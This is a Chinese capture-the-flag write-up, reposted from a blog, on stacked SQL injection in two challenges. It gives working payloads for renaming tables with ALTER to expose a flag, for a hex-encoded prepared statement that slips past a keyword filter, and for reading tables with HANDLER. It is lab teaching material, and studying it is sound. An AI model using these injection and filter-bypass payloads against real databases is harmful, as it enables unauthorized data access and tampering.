• [GYCTF2020]Blacklist


    这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作

    以下部分内容转载大佬的文章

    show databases;   获取数据库名
    show tables;  获取表名
    show columns from `table_name`; 获取列名

    绕过技巧

    1、修改表名

    用 “[强网杯 2019]随便注” 为例, 这里有两个表,一个是 ’ 1919810931114514 ‘ ,还有一个是’words‘ , words表中有id和data两个字段,1919810931114514表中有flag的字段

    因为可以看到回显是两个数据,猜测应该是words表

    推测 内部语句应该是

    select  id,data from words where id='$id'

    那么骚操作开始了,有点像偷天换日的意思

    1、将words表名替换成其他的

    2、然后将 `1919810931114514` 这个表名称替换成words

    3、在把flag这个字段替换成data

    4、最后再插入一个id字段

    最终的查询结果就可以输出我们构造的新的words了

     payload 如下

    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#

    最后用  1' or 1=1#   把flag打印出来

    2、预编译

    依旧是以“[强网杯 2019]随便注”  为例,先构造一个sql语句,然后执行它,payload转化成16进制绕过waf

    1';
    SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
    prepare execsql from @a;
    execute execsql;#

    3、HANDLER

    以 ”[GYCTF2020]Blacklist“ 为例,因为前面关键字都被禁用了,所以前面的payload都无效了

    但是这里还有一种新姿势,参考官方文档

    HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

    1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHere READ FIRST;
    HANDLER FlagHere CLOSE;#
  • 相关阅读:
    虚拟机中无法显示摄像头驱动问题
    格式化的打印输出
    adb 常用命令
    stl list 正确删除节点程序实例
    程序猿的终点?!!!
    奇迹是否会发生?乙肝从大三阳到小三阳到自愈!
    2014年誓言:干掉网页设计程序——Dreamweaver!
    Dreamweaver杀手!Illustrator终结者?Flash的末日?图形图像设计程序之网页版
    网页程序 vs 桌面程序
    x13 vs md5
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12398554.html
Copyright © 2020-2023  润新知